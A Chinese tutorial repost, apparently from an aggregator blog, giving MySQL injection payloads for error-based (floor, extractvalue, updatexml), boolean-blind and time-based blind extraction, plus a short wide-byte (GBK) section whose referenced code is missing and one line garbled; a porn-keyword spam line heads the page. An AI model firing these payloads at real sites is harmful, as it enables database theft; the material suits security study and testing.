日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sql注入-error、boolean、time-based and 宽字节

發布時間:2025/3/21 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql注入-error、boolean、time-based and 宽字节 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1、Error-based SQL injection

利用前提:

頁面上沒有顯示位,但是需要輸出SQL語句執行錯誤信息。比如mysqli_error()

優點:
不需要顯示位
缺點:
需要輸出mysqli_error( )的報錯信息

  • 通過floor報錯

    select 列1(count()) , 列2(concat()隨機數) as x from 表 group by x;
    select count(),concat(database(),floor(rand(0)*2)) as x from users group by x
    select * from users where id = 1 and (select 345 from (表) as b )

  • 獲取有多少個數據庫

    and (select 1 from(select count(*),concat((select (select (select
    concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  • 通過limit 獲取所有數據庫名

    and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
    schema_name, 0x7e) from information_schema.schemata limit 0,1)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  • 通過ExtractValue報錯

    and extractvalue(1, (payload))
    and extractvalue(1, concat(0x7e,(select @@version),0x7e))

  • 通過UpdateXML報錯

    and updatexml(1,(payload),1)
    and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)

  • 2、Boolean-based blind SQL injection

    利用前提

    頁面上沒有顯示位,也沒有輸出SQL語句執行錯誤信息。只能通過頁面返回正常不正常

    優點:
    不需要顯示位,不需要出錯信息。
    缺點:
    速度慢,耗費大量時間。

    需要掌握的幾個函數

    • exists( )
    • ascii( )
    • substr( string,pos,length) // 下標從1開始
    • exists( )函數:
    • esists 用于檢查子查詢是否只要會返回一行數據,該子查詢實際上并不返回任何數據,而是返回True或False。
    • ascii( )函數:返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
    • substr( ) 函數:substr(string, num start, num length);string 為字符串,start為起始位置;下標從1開始;length為長度。

    example:
    and exists (select user())
    and substr((select user()), 1, 1)=‘r’
    and substr((select user()), 2, 1)=‘o’
    and ascii(“r”)=114
    and ascii(substr((select user()), 1, 1))>114
    and ascii(substr((select user()), 2, 1))>111
    ?id=1’ and exists(select * from information_schema.tables) --+
    ?id=1’ and (select length(version()))=6 --+ //判斷version()返回字符串長度。
    ?id=1’ and (select count(table_schema) from information_schema.tables) > 8 --+
    //判斷有多少數據庫
    ?id=1’ and (select ascii(substr((select table_schema from information_schema.tables limit 0,
    1), 1, 1)))>105 --+ //判斷第一個庫的第一個字符
    Time-based blind SQL injection

    3、Time-based blind SQL injection

    利用前提

    頁面上沒有顯示位,也沒有輸出SQL語句執行錯誤信息。正確的SQL語句和錯誤的SQL語句返回頁面都一樣,但是加入sleep(5)條件之后,頁面的返回速度明顯慢了5秒。

    優點:
    不需要顯示位,不需要出錯信息。
    缺點:
    速度慢,耗費大量時間。

    • IF(Condition,A,B)函數:當Condition為TRUE時,返回A;當Condition為FALSE時,返回B。
      eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

    • if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
      if((select count(distinct table_schema) from information_schema.tables)=17, sleep(5), 1)//獲取當前數據庫個數

    • if(ascii(substr((select user()), 1, 1))=114, sleep(5), 1) //獲取當前連接數據庫用戶第一個字母

    • if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) //判斷第一個數據庫第一個字符。

    • if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 2, 1))=110,sleep(5), 1) //判斷第一個數據庫第二個字符。

    4、寬字節注入的問題

    以上代碼中:
    mysql_query(“SET NAMES ‘gbk’”, $con); //設置了GBK編碼,把數據庫信息填寫進去。
    age=addslashes(age = addslashes(age=addslashes(_GET[‘age’]);
    addslashes() 函數返回在預定義字符之前添加反斜杠的字符串
    預定義字符

    • 單引號(’)
    • 雙引號(")
    • 反斜杠(\)
    • NULL

    總結

    以上是生活随笔為你收集整理的sql注入-error、boolean、time-based and 宽字节的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。